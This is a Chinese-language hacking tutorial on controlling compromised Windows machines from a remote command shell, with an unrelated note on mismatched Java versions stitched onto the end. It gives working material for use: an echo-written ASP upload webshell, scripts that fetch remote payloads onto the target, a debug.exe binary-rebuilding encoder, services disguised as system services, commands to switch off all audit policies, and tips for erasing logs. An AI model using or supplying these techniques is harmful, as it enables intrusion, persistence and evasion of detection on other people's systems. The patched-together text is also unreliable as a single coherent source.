用命令行交互(Cmd Shell)入侵系统的方法

用命令行交互(Cmd Shell)入侵系统的方法
用命令行交互(Cmd Shell)入侵系统的方法

用命令行交互(Cmd Shell)入侵系统的方法

前言

Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。

本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。

文件传输

对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$ 的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:

1,用Echo命令写ASP木马。

前提当然是目标主机上已经安装了IIS。

一般的ASP木马"体积"较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。直接给出echo版:

@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp

注意,只有一行,中间没有回车符。

生成的up.asp不能用浏览器访问,只能用下面这个脚本:

with wscript

if .arguments.count<3 then .quit

url=.arguments(0)&"?s="&.arguments(2)

fn=.arguments(1)

end with

with createobject("adodb.stream")

.type=1:.open:.loadfromfile fn:s=.read:.close

end with

with createobject("microsoft.xmlhttp")

.open "post",url,false:.send s

wscript.echo .statustext

end with

将其保存为up.vbs。假设目标IP为123.45.67.89,up.asp在IIS虚拟根目录下,需要上传的文件为nc.exe,上传后保存为mm.exe,相应的命令是:

cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe

注意,这个命令是在本地命令行中执行的,不要弄错了。另外,通过IIS上传会留日志,要记得清除哦。

2,自动下载到网页缓存中。

例如:start its:https://www.360docs.net/doc/7d7570608.html,/soft/ps.exe

在远程shell中执行上面这个命令后,ps.exe已经下载到目标主机的网页缓存目录中了。然后:

cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"

dir /s ps[1].exe

于是获得ps.exe的具体位置(每台主机都不一样),如:

C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目录

2004-01-24 14:24 49,152 ps[1].exe

1 个文件49,15

2 字节

最后:

copy AB094JIT\ps[1].exe c:\path\ps.exe

del AB094JIT\ps[1].exe

补充说明:

对于以服务为启动方式的后门所提供的shell,其用户身份一般是System。此时网页缓存目录的位置就如例子中所示。如果shell的身份不是System,需要修改Default User为相应的用户名。

本方法会启动一个IE进程,记得要将它杀掉。如果是System身份的shell,不会在本地出现窗口而暴露。

另外,用ms-its代替its效果完全一样。

3,Echo一个脚本下载web资源。

现成的工具是iGet.vbs。我再给出一个含必要容错功能的版本。

仍然是echo版:

@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs

@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs

@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs

@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs

举例--下载ps.exe并保存到c:\path下:

cscript dl.vbs https://www.360docs.net/doc/7d7570608.html,/soft/ps.exe c:\path\ps.exe

注意,这是在远程shell中执行的。

4,Echo经过编码的任何文件,再用脚本+debug还原。

前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出"杀手锏"了!

echo 命令加重定向操作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新"编码"为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位操作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)

无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果--编码脚本:

fp=wscript.arguments(0)

fn=right(fp,len(fp)-instrrev(fp,"\"))

with createobject("adodb.stream")

.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)

end with

sll=sl mod 65536:slh=sl\65536

with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)

.write "@echo str="""

for i=1 to sl

bt=ascb(midb(str,i,1))

if bt<16 then .write "0"

.write hex(bt)

if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""

next

.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_

+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_

+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"

.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_

+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_

+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"

end with

将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:

cscript echo.vbs nc.exe

也可以直接把要传输的文件的图标拖放到脚本文件的图标上。

稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:

@echo

str="4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000 00000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B80 14CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206 D6F64652E0D0D0A2400000000000000"_>>debug.vbs

@echo

+"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000 000000004C00000010000000B00000000040000010000000020000040000000000000004000000 0000000000300100000400000000000003000000000010000010000000001000001000000000000 0100000000000000000000000"_>>debug.vbs

@echo

+"002001003C000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000A02101006401000000000000000000000000000000000000000000000 00000002E74657874000000"_>>debug.vbs

@echo +"70970000001000000098000000040000000000000000000000000000200000602E7264617461 00001704000000B0000000060000009C0000000000000000000000000000400000402E64617461 0000004452000000C00000003E000000A20000000000000000000000000000400000C02E69646 1746100005C07000000200100"_>>debug.vbs

............

............(省略若干行)

............

@echo +"">>debug.vbs

@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs

@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs

全选-》复制-》切换到远程命令行窗口-》粘贴。

如果网速不是很慢的话,整个上传过程大约需要20秒。

几点说明:

1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超

过100KB。

2,在传输大文件前,可以先传个小的文件作为"热身",让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。

3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。

4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。

5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。

能上传文件当然一切都好办了,但很多操作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。

系统配置

这节包括三方面内容:注册表、服务和组策略。

先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。

好在系统自带的regedit.exe足够用了。

1,读取注册表

先将想查询的注册表项导出,再用type查看,比如:

C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

C:\>type 1.reg | find "PortNumber"

"PortNumber"=dword:00000d3d

C:\>del 1.reg

所以终端服务的端口是3389(十六进制d3d)

2,修改/删除注册表项

先echo一个reg文件,然后导入,比如:

echo Windows Registry Editor Version 5.00 >1.reg

echo. >>1.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg

echo "TelnetPort"=dword:00000913 >>1.reg

echo "NTLM"=dword:00000001 >>1.reg

echo. >>1.reg

regedit /s 1.reg

将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。

要删除一个项,在名字前面加减号,比如:

[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]

要删除一个值,在等号后面用减号,比如:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "KAVRun"=-

3,用inf文件访问注册表

上面对注册表的三个操作,也可以用下面这个inf文件来实现:

[Version]

Signature="$WINDOWS NT$"

[DefaultInstall]

AddReg=My_AddReg_Name

DelReg=My_DelReg_Name

[My_AddReg_Name]

HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323

HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1

[My_DelReg_Name]

HKLM,SYSTEM\CurrentControlSet\Services\Serv-U

HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KA VRun

将它写入c:\path\reg.inf然后用下面这个命令"安装":

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf

几点说明:

1,[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name 和My_DelReg_Name可以自定义。

0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。

2323也可以用0x913代替。

关于inf文件的详细信息,可以参考DDK帮助文档。

2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。

128表示给定路径,该参数其他取值及含义参见MSDN。

特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。

3,inf文件中的项目都是大小写不敏感的。

接下来说服务。如果想启动或停止服务,用net命令就可以。但想增加或删除服务,需要用SC,instsrv.exe,xnet.exe等工具。而这些工具系统没有自带(XP和2003自带SC)。导

入注册表虽然可以,但效果不好,原因后面会提到。还是得靠inf文件出马。

增加一个服务:

[Version]

Si

gnature="$WINDOWS NT$"

[DefaultInstall.Services]

AddService=inetsvr,,My_AddService_Name

[My_AddService_Name]

DisplayName=Windows Internet Service

Description=提供对Internet 信息服务管理的支持。

ServiceType=0x10

StartType=2

ErrorControl=0

ServiceBinary=%11%\inetsvr.exe

保存为inetsvr.inf,然后:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf

这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。

几点说明:

1,最后四项分别是

服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);

启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。

(注意,0和1只能用于驱动程序)

错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。

服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。这四项是必须要有的。

2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。

删除一个服务:

[Version]

Signature="$WINDOWS NT$"

[DefaultInstall.Services]

DelService=inetsvr

很简单,不是吗?

当然,你也可以通过导入注册表达到目的。但inf自有其优势。

1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的:"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\

74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\

00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00

可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题--不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。

2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。

3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。

另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。

最后说说组策略。组策略是建立Windows安全环境的重要手段,尤其是在Windows域环境下。一个出色的系统管理员,应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc,命令行下用secedit.exe。

先看secedit命令语法:

secedit /analyze

secedit /configure

secedit /export

secedit /validate

secedit /refreshpolicy

5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。

与访问注册表只需reg文件不同的是,访问组策略除了要有个模板文件(还是inf),还需要一个安全数据库文件(sdb)。要修改组策略,必须先将模板导入安全数据库,再通过应用安全数据库来刷新组策略。来看个例子:

假设我要将密码长度最小值设置为6,并启用"密码必须符合复杂性要求",那么先写这么一个模板:

[version]

signature="$CHICAGO$"

[System Access]

MinimumPasswordLength = 6

PasswordComplexity = 1

保存为gp.inf,然后导入:

secedit /configure /db gp.sdb /cfg gp.inf /quiet

这个命令执行完成后,将在当前目录产生一个gp.sdb,它是"中间产品",你可以删除它。/quiet参数表示"安静模式",不产生日志。但根据我的试验,在2000sp4下该参数似乎不起作用,XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如:

secedit /configure /db gp.sdb /cfg gp.inf /log gp.log

del gp.*

另外,在导入模板前,还可以先分析语法是否正确:

secedit /validate gp.inf

那么,如何知道具体的语法呢?当然到MSDN里找啦。也有偷懒的办法,因为系统自带了一些安全模板,在%windir%\security\templates目录下。打开这些模板,基本上包含了常用的安全设置语法,一看就懂。

(它所审核的事件将记录在事件查看器的"安全性"里)。再举个例子--关闭所有的"审核策略"。

echo版:

echo [version] >1.inf

echo signature="$CHICAGO$" >>1.inf

echo [Event Audit] >>1.inf

echo AuditSystemEvents=0 >>1.inf

echo AuditObjectAccess=0 >>1.inf

echo AuditPrivilegeUse=0 >>1.inf

echo AuditPolicyChange=0 >>1.inf

echo AuditAccountManage=0 >>1.inf

echo AuditProcessTracking=0 >>1.inf

echo AuditDSAccess=0 >>1.inf

echo AuditAccountLogon=0 >>1.inf

echo AuditLogonEvents=0 >>1.inf

secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet

del 1.*

也许有人会说:组策略不是保存在注册表中吗,为什么不直接修改注册表?因为不是所有的组策略都保存在注册表中。比如"审核策略"就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有"管理模板"这一部分是完全基于注册表的。而且,知道了具体位置,用哪个方法都不复杂。

比如,XP和2003的"本地策略"-》"安全选项"增加了一个"本地帐户的共享和安全模式"策略。XP下默认的设置是"仅来宾"。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest 权限的原因。可以通过导入reg文件修改它为"经典":

echo Windows Registry Editor Version 5.00 >1.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg

echo "forceguest"=dword:00000000 >>1.reg

regedit /s 1.reg

del 1.reg

而相应的用inf,应该是:

echo [version] >1.inf

echo signature="$CHICAGO$" >>1.inf

echo [Registry Values] >>1.inf

echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf

secedit /configure /db 1.sdb /cfg 1.inf /log 1.log

del 1.*

关于命令行下读取组策略的问题。

系统默认的安全数据库位于%windir%\security\database\secedit.sdb,将它导出至inf文件:

secedit /export /cfg gp.inf /log 1.log

没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。

不过,这样得到的只是组策略的一部分(即"Windows设置")。而且,某个策略如果未配置,是不会被导出的。比如"重命名系统管理员帐户",只有被定义了才会在inf文件中出现NewAdministratorName="xxx"。对于无法导出的其他的组策略只有通过访问注册表来获得了。

此办法在XP和2003下无效--可以导出但内容基本是空的。原因不明。根据官方的资料,XP和2003显示组策略用RSoP(组策略结果集)。相应的命令行工具是gpresult。但是,它获得的是在系统启动时被附加(来自域)的组策略,单机测试结果还是"空"。所以,如果想知道某些组策略是否被设置,只有先写一个inf,再用secedit /analyze,然后查看日志了。网络配置

Windows 自带的关于网络的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh......

这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。前面两种相对简单,本文只介绍两个网络配置工具。

netsh

在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过,很多shell不能再次

重定向输出输出,所以不能在这种环境下交互地使用ftp 等命令行工具。解决的办法是,一般交互式的工具都允许使用脚本(或者叫应答文件)。比如ftp -s:filename。netsh也是这样:netsh -f filename。

netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服务器,TCP/IP协议,IPX协议,路由等。我们不是管理员,一般没必要了解这么多,只需用netsh来了解目标主机的网络配置信息。

1,TCP/IP配置

echo interface ip >s

echo show config >>s

netsh -f s

del s

由此你可以了解该主机有多个网卡和IP,是否是动态分配IP(DHCP),内网IP是多少(如果有的话)。

这个命令和ipconfig /all差不多。

注意,以下命令需要目标主机启动remoteaccess服务。如果它被禁用,请先通过导入注册表解禁,然后

net start remoteaccess

2,ARP

echo interface ip >s

echo show ipnet >>s

netsh -f s

del s

这个比arp -a命令多一点信息。

3,TCP/UDP连接

echo interface ip >s

echo show tcpconn >>s

echo show udpconn >>s

netsh -f s

del s

这组命令和netstat -an一样。

4,网卡信息

如果netsh命令都有其他命令可代替,那它还有什么存在的必要呢?下面这个就找不到代替

的了。

echo interface ip >s

echo show interface >>s

netsh -f s

del s

netsh的其他功能,比如修改IP,一般没有必要使用(万一改了IP后连不上,就"叫天不应叫地不灵"了),所以全部略过。

IPSec

首先需要指出的是,IPSec和TCP/IP筛选是不同的东西,大家不要混淆了。TCP/IP筛选的功能十分有限,远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。

XP 系统用ipseccmd,2000下用ipsecpol。遗憾的是,它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORT\ TOOLS\SUPPORT.CAB中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol还必须带上另外两个文件:ipsecutil.dll和text2pol.dll。三个文件一共119KB。

IPSec 可以通过组策略来控制,但我找遍MSDN,也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以,组策略这条路走不通。IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\ IPSec\Policy\Local),理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放,读取和修改都很困难。相比之下,上传命令行工具更方便。

关于ipsecpol和ipseccmd的资料,网上可以找到很多,因此本文就不细说了,只是列举一些实用的例子。

在设置IPSec策略方面,ipseccmd命令的语法和ipsecpol几乎完全一样,所以只以ipsecpol 为例:

1,防御rpc-dcom攻击

ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x

这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。

具体含义如下:

-p myfirewall 指定策略名为myfirewall

-r rpc-dcom 指定规则名为rpc-dcom

-f ...... 建立7个筛选器。*表示任何地址(源);0表示本机地址(目标);+表示镜像(双向)筛选。详细语法见ipsecpol -?

-n BLOCK 指定筛选操作是"阻塞"。注意,BLOCK必须是大写。

-w reg 将配置写入注册表,重启后仍有效。

-x 立刻激活该策略。

2,防止被ping

ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x

如果名为myfirewall的策略已存在,则antiping规则将添加至其中。

注意,该规则同时也阻止了该主机ping别人。

3,对后门进行IP限制

假设你在某主机上安装了DameWare Mini Remote Control。为了保护它不被别人暴破密码或溢出,应该限制对其服务端口6129的访问。

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg

ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x

这样就只有123.45.67.89可以访问该主机的6129端口了。

如果你是动态IP,应该根据IP分配的范围设置规则。比如:

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg

ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x

这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。

在写规则的时候,应该特别小心,不要把自己也阻塞了。如果你不确定某个规则

的效果是否和预想的一样,可以先用计划任务"留下后路"。例如:

c:\>net start schedule

Task Scheduler 服务正在启动..

Task Scheduler 服务已经启动成功。

c:\>time /t

12:34

c:\>at 12:39 ipsecpol -p myfw -y -w reg

新加了一项作业,其作业ID = 1

然后,你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。如果测试结果不理想,就删除该策略。

c:\>ipsecpol -p myfw -o -w reg

注意,删除策略前必须先确保它已停止。不停止它的话,即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间,默认是180分钟。

如果测试通过,那么就启用它。

c:\>ipsecpol -p myfw -x -w reg

最后说一下查看IPSec策略的办法。

对于XP很简单,一条命令搞定--ipseccmd show filters

而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中。(已经上传了三个文件,也就不在乎多一个了。^_^)

netdiag需要RemoteRegistry服务的支持。所以先启动该服务:

net start remoteregistry

不启动RemoteRegistry就会得到一个错误:

[FATAL] Failed to get system information of this machine.

netdiag这个工具功能十分强大,与网络有关的信息都可以获取!不过,输出的信息有时过于详细,超过命令行控制台cmd.exe的输出缓存,而不是每个远程cmd shell都可以用more 命令来分页的。

查看ipsec策略的命令是:

netdiag /debug /test:ipsec

然后是一长串输出信息。IPSec策略位于最后。

软件安装

一个软件/工具的安装过程,一般来说只是做两件事:拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容,那么就可以自己在命令行下实现了。(不考虑安装后需要注册激活等情况)

WinPcap是个很常用的工具,但必须在窗口界面下安装。在网上也可以找到不用GUI的版本(但还是有版权页),其实我们完全可以自己做一个。

以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照,很容易了解整个安装过程。

除去反安装的部分,关键的文件有三个:wpcap.dll,packet.dll和npf.sys。前面两个文件位于system32目录下,第三个在system32\drivers下。而注册表的变化是增加了一个系统服务NPF。注意,是系统服务(即驱动)不是Win32服务。

作为系统服务,不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 下增加主键,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是,并不需要手动添加它,

winpcap被调用时会自动搞定。甚至完全不用手动修改注册表,所有的事winpcap都会自己完成,只需要将三个文件复制到合适的位置就行了。

作为范例,还是演示一下如何修改注册表:利用前面说过的inf文件来实现。

[Version]

Signature="$WINDOWS NT$"

[DefaultInstall.Services]

AddService=NPF,,winpcap_svr

[winpcap_svr]

DisplayName=Netgroup Packet Filter

ServiceType=0x1

StartType=3

ErrorControl=1

ServiceBinary=%12%\npf.sys

将上面这些内容保存为_wpcap_.inf文件。

再写一个批处理_wpcap_.bat:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf

del _wpcap_.inf

if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV

copy packet.dll %SYSTEMROOT%\system32\

copy wpcap.dll %SYSTEMROOT%\system32\

del packet.dll

del wpcap.dll

:COPYDRV

if /i %CD%==%SYSTEMROOT%\system32\drivers goto END

copy npf.sys %SYSTEMROOT%\system32\drivers\

del npf.sys

:END

del %0

然后用winrar将所有文件(5个)打包为自解压的exe,并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat,命令行的winpcap安装包就制作完成了。

注意,批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。

所有的软件安装,基本上可以套用这个思路。但也有例外的,那就是系统补丁的安装。

由于系统补丁有可能要替换正在被执行或访问的文件,所以用copy命令是不行的。

幸好,Windows补丁包支持命令行安装。

比如:

KB824146.exe -n -z -q

-n 不保留备份

-z 不重起

-q 安静模式

如果有一堆补丁要打,那么用RAR打包成自解压文件,外加一个批处理。

for %%f in (KB??????.exe) do %%f -n -z -q

for %%f in (KB??????.exe) do del %%f

del %0

Windows脚本

很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。

1,显示系统版本

@echo for each ps in getobject _ >ps.vbs

@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs

@echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs

cscript //nologo ps.vbs & del ps.vbs

2,列举进程

@echo for each ps in getobject _ >ps.vbs

@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs

@echo wscript.echo ps.handle^&vbtab^&https://www.360docs.net/doc/7d7570608.html,^&vbtab^&ps.executablepath:next >>ps.vbs cscript //nologo ps.vbs & del ps.vbs

3,终止进程

@echo for each ps in getobject _ >pk.vbs

@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs

@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs

要终止PID为123的进程,使用如下语法:

cscript pk.vbs 123

如果显示一个0,表示终止成功。

然后:

del pk.vbs

4,重启系统

@echo for each os in getobject _ >rb.vbs

@echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs @echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs

5,列举自启动的服务

@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs

@echo if sc.startmode="Auto" then wscript.echo https://www.360docs.net/doc/7d7570608.html,^&" - "^&sc.pathname >>sc.vbs

@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

6,列举正在运行的服务

@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs

@echo if sc.state="Running" then wscript.echo https://www.360docs.net/doc/7d7570608.html,^&" - "^&sc.pathname >>sc.vbs

@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

7,显示系统最后一次启动的时间

@echo for each os in getobject _ >bt.vbs

@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs

@echo wscript.echo https://www.360docs.net/doc/7d7570608.html,stbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs

显示结果的格式是:

yyyymmddHHMMSSxxxxxxZZZZ

_年_月日时分秒_微秒_时区

8,显示系统运行时间

@echo for each os in getobject _ >rt.vbs

@echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs

@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs

@echo t=t^&mid(s,i,1):d=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs

@echo wscript.echo cint(r)^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs

cscript //nologo rt.vbs & del rt.vbs

这个运行时间是从性能计数器中获得的64位整型数,不会出现在49.7天后溢出的情况。

cmd执行Java和javac版本不一致

cmd执行java –version和javac –version显示版本不一致在电脑上安装jdk1.7.0_71并配置好环境变量后检验安装是否成功,于是在cmd执行java –version和javac –version命令,但得到的版本却不一致。cmd执行java –version显示如图1。 图1 Java cmd执行javac –version显示如图2。 图2 javac 现详细分析问题产生的原因及解决办法。在cmd执行java或javac实际是执行java.exe或javac.exe,当在cmd输入java时系统将按照系统环境变量Path

中路径配置查找java.exe所在的路径,若能找到则执行java.exe,若找不到则报 告错误。 现在java和javac显示的版本不一致肯定是系统安装多个版本的JDK/JRE,而在系统环境变量Path中配置的java.exe和javac.exe路径不一致所导致。JRE 的bin目录(\JRE\bin)下只有java.exe,而JDK的bin目录(\jdk\bin)下有java.exe 和javac.exe。所以如果我们只在path中配置…\Java\jdk1.7.0_71\bin,那么java 和javac的得到版本肯定是一致的。现将本机的path配置截图如下: 图3 环境变量path 可以看到是因为系统安装Oracle时配置了JRE路径(Oracle会自带安装JRE),而JRE中包含了java.exe,所以Java –version执行的是C:\Program Files\Oracle\jre\1.3.1\bin\java.exe,而javac –version执行的是 D:\Java\jdk1.7.0_71\bin\javac.exe。 解决办法有两种,第一可以把D:\Java\jdk1.7.0_71\bin提前,第二可以 把;C:\Program Files\Oracle\jre\1.3.1\bin;C:\Program Files\Oracle\jre\1.1.8\bin删除,再执行java和javac获得的版本就会一致。

电脑命令提示符大全

